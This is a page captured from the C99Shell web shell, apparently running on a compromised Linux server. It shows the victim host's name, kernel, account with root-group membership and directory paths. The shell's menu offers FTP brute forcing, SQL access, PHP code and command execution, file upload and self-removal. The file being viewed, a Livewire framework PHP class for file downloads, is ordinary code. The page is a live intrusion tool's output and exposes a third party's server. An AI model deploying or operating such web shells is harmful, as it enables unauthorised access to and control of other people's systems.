!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Features/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SupportFileDownloads.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Features;

use 
Illuminate\Contracts\Support\Responsable;
use 
Livewire\Livewire;
use 
Illuminate\Support\Str;
use 
Symfony\Component\HttpFoundation\StreamedResponse;
use 
Symfony\Component\HttpFoundation\BinaryFileResponse;

class 
SupportFileDownloads
{
    static function 
init() { return new static; }

    protected 
$downloadsById = [];

    function 
__construct()
    {
        
Livewire::listen('action.returned', function ($component$action$returned) {
            if(
$returned instanceof Responsable){
                
$returned $returned->toResponse(request());
            }

            if (
$this->valueIsntAFileResponse($returned)) return;

            
$response $returned;

            
$name $this->getFilenameFromContentDispositionHeader(
                
$response->headers->get('Content-Disposition')
            );

            
$binary $this->captureOutput(function () use ($response) {
                
$response->sendContent();
            });

            
$content base64_encode($binary);

            
$this->downloadsById[$component->id] = [
                
'name' => $name,
                
'content' => $content,
                
'contentType' => $response->headers->get('Content-Type'),
            ];
        });

        
Livewire::listen('component.dehydrate.subsequent', function ($component$response) {
            if (! 
$download $this->downloadsById[$component->id] ?? false) return;

            
$response->effects['download'] = $download;
        });

        
Livewire::listen('flush-state', function() {
            
$this->downloadsById = [];
        });
    }

    function 
valueIsntAFileResponse($value)
    {
        return ! 
$value instanceof StreamedResponse
            
&& ! $value instanceof BinaryFileResponse;
    }

    function 
captureOutput($callback)
    {
        
ob_start();

        
$callback();

        return 
ob_get_clean();
    }

    function 
getFilenameFromContentDispositionHeader($header)
    {
        
/**
         * The following conditionals are here to allow for quoted and
         * non quoted filenames in the Content-Disposition header.
         *
         * Both of these values should return the correct filename without quotes.
         *
         * Content-Disposition: attachment; filename=filename.jpg
         * Content-Disposition: attachment; filename="test file.jpg"
         */

        
if (preg_match('/.*?filename="(.+?)"/'$header$matches)) {
            return 
$matches[1];
        }

        if (
preg_match('/.*?filename=([^; ]+)/'$header$matches)) {
            return 
$matches[1];
        }

        return 
'download';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--